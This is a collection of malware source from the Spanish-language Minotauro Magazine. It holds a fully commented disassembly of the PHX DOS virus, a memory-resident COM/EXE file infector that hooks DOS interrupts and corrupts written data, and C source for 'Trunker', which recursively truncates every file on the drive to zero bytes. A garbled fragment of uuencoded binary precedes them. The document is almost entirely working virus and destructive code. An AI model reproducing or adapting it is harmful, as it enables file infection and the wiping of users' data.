MG-'@7,MSK=AB;<H;W=>/_=GEB]>J7;N5;==>'=24G=JD3<O O->R/-MTFMBG
M#=:.?=MT'=L^[,]JW=M7[;>C/=@7&-@*K=FUK=>&/<Z9#-MKS-JF[=FP;-VO
MW-FTG<+I[->%+=FR+<YH?<+8O=T][=RU0;K>[-W>[OW>\!W?\CW?]%W?]GW?
M^)W?^KW?_-W?_OW? ![@ C[@!%[@!G[@")[@"K[@#-[@#O[@$![A$EZH$0  
M #M02P$"%  4  ( " #S>5/RC40&HWU   !<?P  "@           "      
M    3$5#5$]2+D5815!+ 0(4  H      #TP,!X]]:SYJQH  *L:   *    
M        (    *5   !,14-43U(N1TE&4$L! A0 "@      :24K'J5.L$EY
M$P  >1,   L            @    >%L  %1)14U03U,N1TE&4$L%!@     #
-  , J0   !IO        
 
end
; Virus: PHX (PHX.823, Willistrover, o mejor, Tracker)
; Infector parasitico de COM/EXE, residente via MCB

; Desensamblado por Trurl para Minotauro Magazine

code segment para public
	assume cs:code, ds:code, es:code, ss:code
	org 100h
	.386
vsize			equ		vend-vstart
vsip			equ		(vsize+15)/16

start:
	jmp vstart
	db 0, 21h

	db "Oh! Que hago aqui en el area [Virus Sources] de esta BBS, si yo "
	db "pertenezco a una nota de Minotauro Magazine? Oh! "
	db "Lo mas gracioso es que he observado que los Sysops ni siquiera se"
	db "molestan en sacar estos textos antes de poner estos virus en las"
	db "areas de Virus Sources de sus BBS. Los miraran los sources?"
	db "No dejen de leer el proximo numero!"
	db "	Trurl, TGC [Iaba Daba DAN]"

vstart: ; instalacion desde un COM.
	PUSH	CS		; para despues poder salir con un RETF
	PUSH	100h
	PUSH	CS
	MOV	AX,0B974h ; Chequeo de residencia
	INT	21h
	CMP	AX,2888h ; BUG :-) Se carga en memoria + de 1 vez, si se corren
	JZ	inmem	; varios COM infectados... :-(. El valor seria 2808h
	MOV	BX,cs:[101h] ; obtener el offset del virus dentro del file
	ADD	BX,103h	; mediante sumar 103 al JMP NEAR del principio

	CALL	mcbres		; residencia via MCB
	CALL	hookints	; colgarse de las ints
inmem:
	; restablecer los 3 bytes originales. Estos 3 bytes estan en el cdigo.
	; por eso todo este quilombo.
	db 	36h,0c7h,6,0,1; MOV WORD PTR SS:[100], orbytes1
orbytes1		db		0b4h, 4ch
	db		36h, 0c6h,6,2,1; MOV WORD PTR SS:[102], orbytes2
orbytes2		db		0cdh
	POP	AX
	MOV	DS,AX	; DS=ES=CS
	MOV	ES,AX
	RETF	; ir al prog. original

instlexe: ; instalacion desde un EXE
	MOV	AX,ES
	ADD	AX,10h ; ax = fin del PSP
	ADD	cs:[Instl_CS-vstart],AX ; realocatear para el JMP
	ADD	cs:[Instl_SS-vstart],AX
	MOV	AX,0B974h ; Chequeo de residencia
	INT	21h
	CMP	AX,2808h ; este esta bien.
	JZ	inmemexe
	PUSH	ES
	PUSH	DS
	XOR	BX,BX ; el virus esta en el off. cero
	CALL	mcbres ; quedar residente
	CALL	hookints ; colgarse de todo..
	POP	DS
	POP	ES
inmemexe:
	; para poner SS:SP y CS:IP (el JMP) en los valores originales..
	; estos valores estan "en el cdigo", de nuevo.
	MOV	SS,cs:[Instl_SS-vstart]
	db 0bch ; mov sp, Instl_SP
Instl_SP	  dw	0
	db 0eah; JMP far
Instl_IP   dw 	0
Instl_CS   dw  0
Instl_SS   dw  0

mcbres: ; residencia MCB.. 
; en BX viene el offset del virus, en ES devuelve el bloque en mem. alta.
	PUSH	BX
	MOV	AX,ES
	DEC	AX
	MOV	ES,AX
	MOV	BX,es:[3] ; BX=Size del bloque
	SUB	BX,(endheap-vstart+15)/16+1; restar 41h para
	INC	AX
	MOV	ES,AX
	MOV	AH,4Ah ; resizear el bloque a 41h para menos.
	INT	21h
	MOV	AH,48h ; pedir 40 para.
	MOV	BX,(endheap-vstart+15)/16; 40h
	INT	21h
	DEC	AX
	MOV	ES,AX
	MOV	WORD PTR es:[1],8; owner=dos
	MOV	WORD PTR es:[8],5053h; en el field name pone "SP".. ?
	INC	AX
	MOV	ES,AX
	XOR	DI,DI
	POP	SI ; ds:si=vir. en mem.
	MOV	BX,SI
	MOV	CX,vsize; copiar el virus a mem. alta.
	db 2eh ; CS:
	REPZ
	MOVSB
	RET
cmpadd:
	; esto lo usa para reconocimiento de un programa... hace un cdigo
	; coherente (no es "texto") pero igual lo pongo asi porque nunca recibe
	; el control, solo sirve para la comparacion.
	db	73h,5,0BAh,0B9h,2,0EBh,0E0h,0A3h,0C0h,1,0B4h,3Fh,8Bh,1Eh,0C0h,1
	db	72h,0C7h,0A3h,5,1,8Bh,0D8h,0B8h,0,3Fh,0B9h,0,1,0BAh,48h,0C8h
	db	72h,0C1h,0A3h,5,1,8Bh,0D8h,0B8h,0,3Fh,0B9h,0,1,0BAh,1Ah,0CAh

newint21:
	CMP	AH,4Bh
	JZ	execprog
	CMP	AX,3D02h
	JZ	openf
	CMP	AX,0B974h
	JZ	rescheck
	CMP	AH,40h
	JZ	write
quit21:
					db		0eah ; JMP FAR
oldint21			dd		0

write: ; activacion.
	CMP	BYTE PTR cs:[actvar-vstart],1 ; ?
	JZ	isone
	JMP	quit21
isone:
	PUSH	AX
	PUSH	SI
	CMP	AX,1 ; 
	JZ	quitwrite
	MOV	AL,5
	OUT	70h,AL ; chequear que el contador de instalaciones en CMOS
	IN	AL,71h	; sea mayor a 80h (128). 
	CMP	AL,80h
	JB	quitwrite
	MOV	SI,DX
	ADD	SI,CX
	XOR	BYTE PTR [SI],80h; ?
quitwrite:
	POP	SI
	POP	AX
	JMP	quit21

call21: ; para llamar a int 21 original
	PUSHF
	PUSH	CS
	CALL	quit21
	RET

rescheck: ; chequeo de residencia
	MOV	AX,2808h
	IRET

newint24: ; dummy critical error handler
	MOV	AX,3
	IRET

openf:
	; este es el 1er disparador. 
	; busca el cdigo mas arriba (cmpadd) con el cdigo de retorno de esta
	; llamada a abrir file (se entiende?)
	PUSHA
	PUSH	ES
	MOV	DI,SP
	MOV	AX,ss:[DI+14h]; CS en stack
	MOV	ES,AX
	MOV	AX,ss:[DI+12h]; IP en stack
	MOV	DI,AX ; ES:DI = CS:IP del llamador
	MOV	SI,cmpadd-vstart
	MOV	DH,3
doagain:
	PUSH	DI
	PUSH	SI
	MOV	CX,10h
keepcmp:
	db 2eh ; cs:
	CMPSB
	JNZ	difrent
	LOOP	keepcmp ; compara el cdigo del CS:IP del llamador con el 
	JMP	itscode ; cdigo mas arriba (cmpadd). 
	NOP
difrent:
	POP	SI
	POP	DI
	ADD	SI,10h ; si es distinto, intenta 3 veces.
	DEC	DH		 ; incrementando 10 del cdigo.
	JNZ	doagain
	POP	ES		; si en esas tres veces es distinto
	POPA			; se va nomas.
	JMP	quit21
itscode:
	CALL	varto1	; si es igual, pone la var. de activacion a 1
	JMP	difrent

execprog:
	PUSHA
	PUSH	ES
	PUSH	DS
	PUSH	DS
	PUSH	ES

	; esto es el 2do disparador.
	; buscar PHX en el environment del programa actual
	MOV	AH,62h ; conseguir segment del PSP actual
	CALL	call21
	MOV	ES,BX
	MOV	SI,phxstr-vstart
	MOV	ES,es:[2Ch] ; ES = environment del prog. actual
	XOR	DI,DI
searchagain:
	PUSH	SI
	PUSH	DI
keepphx:
	db 2eh
	LODSB
	OR	AL,AL
	JZ	phxstrend
	SCASB
	JZ	keepphx
phxstrend:
	JZ	phxfound
	; no encontro la string..
	POP	DI
	POP	SI
	XOR	AL,AL
	MOV	CX,100h
	REPNZ SCASB
	JNZ	nozero
	CMP	BYTE PTR es:[DI],0; buscar el doble 0.
	JNZ	nozero
	JMP	searchagain ; si encontro el doble 0, busca de nuevo PHX en la
					; siguiente string del environment. ???
					; busca en nombre de programa actual? 

phxfound:; 2a9; encontro la string "PHX" en el environment del prog. actual
	ADD	SP,4 ; desechar DI y SI en stack
	CALL	varto1 ; poner la variable de activacion a 1
nozero: ; 2af ;  no encontro la string, ni el doble cero

	; recien ahora sucede la infeccion.
	POP	ES ; es y ds originales
	POP	DS
	CALL	dumberr; setear int 24 a dumb
	PUSH	DX
	MOV	DI,DX; DS:DX nombre del prog a ejecutar
	XOR	DL,DL
	CMP	BYTE PTR [DI+1],3Ah; ":"
	JNZ	skipdrive
	MOV	DL,[DI]
	SUB	DL,40h; de caracter a numero ("A"(41) -> 1)
skipdrive:
	MOV	AH,36h; get disk free space
	INT	21h
	CMP	BX,2 ; bx = available clusters
	JNB	okspace
	JMP	quitinf
okspace:
	POP	DX
	MOV	CX,80h
	XOR	AL,AL ; buscar el 0 del nombre
	db 3eh ; ds:
	REPNZ	SCASB
	DEC	DI ; di apunta al 0
	PUSH	word ptr [DI] ; ?
	PUSH	DS
	PUSH	DI
	MOV	WORD PTR [DI],0021h ; poner un "!" al final?
	MOV	cs:word ptr [nameptr-vstart],DS ; guardar el nameptr
	MOV	cs:word ptr [nameptr-vstart+2],DX
	XOR	AL,AL
	CALL	fattr ; get attributes
	MOV	cs:[vfattr-vstart],CX ; guardar atributos
	MOV	AL,1
	MOV	CX,20h
	CALL	fattr ; set attributes to 20h
	MOV	AX,3D02h ; abrir file
	CALL	call21
	MOV	BX,AX
	JB	abortinf
	MOV	AX,5700h ; get date & time
	CALL	call21
	MOV	cs:[ftime-vstart],CX ; save date and time
	MOV	cs:[fdate-vstart],DX
	MOV	AX,CS
	MOV	DS,AX
	CALL	readf
	CMP	WORD PTR cs:[exehead-vstart],5A4Dh; es EXE?
	JZ	isexe
	MOV	AX,ds:[exehead-vstart] ; mandar los primero 3
	MOV	CH,ds:[exehead-vstart+2] ; bytes a los MOVs de 
	MOV	ds:[orbytes1-vstart],AX ; la rutina de instalacion
	MOV	ds:[orbytes2-vstart],CH ; de COM
	CALL	checkinf
	JZ	isinfd
	CMP	AX,0FC00h; Size del COM-3 > a FC00?
	JA	isinfd
	MOV	ds:[exehead-vstart+1],AX ; fixear el JMP
	MOV	BYTE PTR ds:[exehead-vstart],0E9h
finishinf:
	INC	WORD PTR cs:[infcount-vstart] ; un contador de infecciones
	MOV	AH,40h ; escribir el virus al final
	MOV	CX,vsize
	XOR	DX,DX
	CALL	call21
	XOR	AL,AL
	XOR	CX,CX
	XOR	DX,DX
	MOV	AH,42h ; ir al principio
	CALL	call21
	MOV	AH,40h ; escribir 1C bytes al principio
	CALL	writef ; 3 fixeados + los otros (originales)
isinfd:
	MOV	CX,ds:[ftime-vstart]
	MOV	DX,ds:[fdate-vstart]
	MOV	AX,5701h ; restore original date & time
	CALL	call21
	MOV	AH,3Eh ; cerrar file
	CALL	call21
	MOV	AL,01
	MOV	CX,ds:[vfattr-vstart]
	CALL	fattr ; restore atributos originales
abortinf:
	POP	DI
	POP	DS
	POP	word ptr [DI]
quitinf:
	CALL	restorerr

	; esto es el 3er disparador... chequear que el port 3E4 este activo
	MOV	DX,3E4h ; el port 3E4 devuelve FF?
	XOR	AH,AH
	IN	AL,DX
	CMP	AL,0FFh ; si lo devuelve, pone a 1 la variable de activacion
	JZ	notvar
	CALL	varto1
notvar:
	POP	DS
	POP	ES
	POPA
	JMP	quit21

isexe:
	CALL	checkinf
	JZ	isinfd ; si esta infectado, salir
	PUSH	BX
	ADD	AX,0003 ; DX.AX size del file - 3. Osea, ahora le suma 3. :-)
	ADC	DX,0
	PUSH	DX
	PUSH	AX
	MOV	AX,ds:[exehead-vstart+2]; 2 = reminder
	MOV	BX,ds:[exehead-vstart+4]; 4 = Pages
	MOV	CX,BX
	SHR	CX,7 ; Pages = ffff=> 1ff.
	SHL	BX,9 ; Pages = * 200h
	OR	BX,AX
	SUB	BX,0200h ; bx = size real?
	SBB	CX,0; ?
	MOV	DX,ds:[exehead-vstart+14h] ; 14 = IP
	MOV	AX,ds:[exehead-vstart+16h] ; 16 = CS
	MOV	ds:[Instl_IP-vstart],DX  ; Salver CS:IP originales en el cdigo
	MOV	ds:[Instl_CS-vstart],AX
	MOV	DX,ds:[exehead-vstart+10h] ; 10 = SP
	MOV	AX,ds:[exehead-vstart+0eh] ; 0E = SS
	MOV	ds:[Instl_SS-vstart],AX  ; Salvar SS:SP originales en el cdigo
	MOV	ds:[Instl_SP-vstart],DX
	POP	AX
	POP	DX
	CMP	CX,DX ; CX (2bytes + altos de size) = Pages?
	JNZ	notl
	CMP	BX,AX
	JZ	allok
notl:
	POP	BX
	JMP	isinfd ; si no son iguales, esta infectado
allok:
	MOV	BX,AX ; DX.AX size
	NEG	BX
	AND	BX,0Fh ; bx = lo que falta para el paragr.
	ADD	AX,BX
	ADC	DX,0; ugh
	SHR	AX,4
	SHL	DX,0Ch 
	OR	AX,DX ; AX = nuevo CS
	SUB	AX,ds:[exehead-vstart+8] ; AX =- header size;
	MOV	WORD PTR ds:[exehead-vstart+14h],instlexe-vstart ; nuevo IP
	MOV	ds:[exehead-vstart+0Eh],AX ; nuevo SS
	MOV	WORD PTR ds:[exehead-vstart+10h],400h ; nuevo SP
	MOV	ds:[exehead-vstart+16h],AX ; nuevo CS
	MOV	AH,40h ; escribir los bytes que faltan
	MOV	CX,BX	; para el para
	XOR	DX,DX
	POP	BX
	INT	21h
	ADD	CX,vsize
	ADD	ds:[exehead-vstart+2],CX
	MOV	CX,ds:[exehead-vstart+2]
	AND	WORD PTR ds:[exehead-vstart+2],1FFh ; fixear el reminder
	SHR	CX,9
	ADD	ds:[exehead-vstart+4],CX ; fixear las pages !
	JMP	finishinf ; ir a finalizar todo pipi cucu

checkinf: ; rutina chequeo de infeccion previa
	MOV	AX,4202h
	MOV	CX,0FFFFh; -1
	MOV	DX,0FFFDh; -3
	CALL	call21 ; ir a los ultimos 3 bytes
	PUSH	AX
	PUSH	DX
	MOV	DX,buff3b-vstart
	MOV	AH,3Fh
	MOV	CX,3
	CALL	call21 ; leer los ultimos 3 bytes
	CMP	WORD PTR ds:[buff3b-vstart],0828h ; es igual a 28 08 93?
	JNZ	notinf
	CMP	BYTE PTR ds:[buff3b-vstart+2],93h ; si es asi, esta infectado.
notinf:
	POP	DX
	POP	AX
	RET

readf: ; leer 1c bytes del file
	MOV	AH,3Fh
writef: ; escribir 1c bytes al file
	MOV	CX,001Ch; 28 bytes
	MOV	DX,exehead-vstart ; ?
	CALL	call21
	RET

hookints: ; colgarse de las interrupciones
	MOV	AX,ES
	MOV	DS,AX
	MOV	AX,3521h
	INT	21h
	MOV	word ptr ds:[oldint21-vstart+2],ES
	MOV	word ptr ds:[oldint21-vstart],BX
	MOV	DX,newint21-vstart
	MOV	AH,25h
	INT	21h

	MOV	AL,5
	OUT	70h,AL ; incrementar el contador de instalaciones en CMOS
	IN	AL,71h
	INC	AL
	OUT	71h,AL
	RET

fattr: ; poner atributos originales o conseguirlos (depende de AL)
	MOV	DS,cs:word ptr [nameptr-vstart]
	MOV	DX,cs:word ptr [nameptr-vstart+2]
	MOV	AH,43h
	INT	21h
	RET

dumberr:
; setear int 24 a un dumb handler para prevenir mensajes de error
	PUSH	DS
	PUSH	ES
	PUSH	DX
	MOV	AX,3524h
	INT	21h
	MOV	cs:word ptr [oldint24-vstart],BX ; guardar int 24 orig.
	MOV	cs:word ptr [oldint24-vstart+2],ES
	MOV	DX,newint24-vstart
	MOV	AX,CS
	MOV	DS,AX
doit:
	MOV	AX,2524h ; setear nueva int 24
	INT	21h
	POP	DX
	POP	ES
	POP	DS
	RET
restorerr: ; restaurar int 24 original
	PUSH	DS
	PUSH	ES
	PUSH	DX
	MOV	DS,cs:word ptr [oldint24-vstart+2]
	MOV	DX,cs:word ptr [oldint24-vstart]
	JMP	doit

	phxstr			db			"PHX",0

varto1: ; setear variable de activacion a 1
	MOV	BYTE PTR cs:[actvar-vstart],1
	NOP
	RET
	; contador de infecciones
infcount	dw	0;en mi ejemplar era 27. lindo numero.. :-) 
;3 bytes para reconocimiento... son arbitrarios? Es cierto que parece una fecha
		db	28h, 8, 93h
vend: ; aqui termina el cdigo.

	;heap. esto NO PERTENECE al virus en si, es memoria temporaria. ok?
exehead		db	1ch dup(0) ; para leer 1c primero bytes del f.
buff3b		db	3 dup(0); 3 byte buffer para chequeo de reinfecc.
ftime		dw	0 ; original file time
fdate		dw	0 ; original file date
nameptr		dd	0 ; nameptr
vfattr		dw	0 ; original file attributes
oldint24	dd	0 ; original int 24
actvar		db	0 ; variable de la activacion
endheap:
ends
end start
// Minotauro Magazine
// Trunker By Jason.
// Turbo C++ 3.0

#include <stdlib.h>
#include <fcntl.h>
#include <io.h>
#include <stdio.h>
#include <dir.h>
#include <conio.h>

// Estas son las librerias necesarias para la ejecucion de este programa

void makdir();
// Rutina de entrada a directorios
void destruccion();
// Rutina para truncar los files del directorio donde entro

void main()
{
  clrscr();
  printf("Truncando files... sea paciente ;-)..\n");
  chdir("\\");
// es necesario poner 2 barras "\\" ya que el C usa la "\" para funciones 
// especificas como las que se ven arriba de "\n" eso manda un CR LF 
// caracteres 10 y 13 en decimal o Ah y Dh en hexa de la tabla ASCII
  makdir();
// Llamo a MAKDIR
}


void destruccion()
{
   FILE *archivo;
   struct ffblk ffblk;
   int done;
// Defino las variables

   done = findfirst("*.*",&ffblk,2);
// Busco en el directorio actual "*.*" incluyendo archivos ocultos
// Mientras haya archivos..
   while (!done)
   {
      if ((archivo = fopen(ffblk.ff_name, "wb")) == NULL)
// Abro file ("wb" write binary) binario para escritura
	{
	   fprintf(stderr, "Error abriendo archivo...\n");
// Si llego aca hay error al abrir el file
	}
      fwrite(0, 0, 1, archivo);
// Escribo NADA :-)
      fclose(archivo);
// Cierro el file
      done = findnext(&ffblk);
// Que pase el que sigue ;-)
   }
}


void makdir()
{
   struct ffblk ffblk;
   int done;
// Defino variables

   destruccion();
// Llamo a destruccion para truncar los del directorio raiz
   done = findfirst("*.*",&ffblk,16);
// Busco en el directorio actual "*.*" incluyendo directorios
   while (!done)
   {
      if((ffblk.ff_name[0] != *".") && (ffblk.ff_attrib == 16))
// Si es un directorio.. que no sea que su primer caracter no sea "."
// o sea "." o ".." entonces entro
	{
	   chdir(ffblk.ff_name);
// Entro al directorio que encontre
	   destruccion();
// Trunco los files
	   makdir();
// Me llamo de nuevo
	   chdir("..");
// Vuelvo al directorio anterior
	 }
      done = findnext(&ffblk);
// Busco el proximo
   }
}
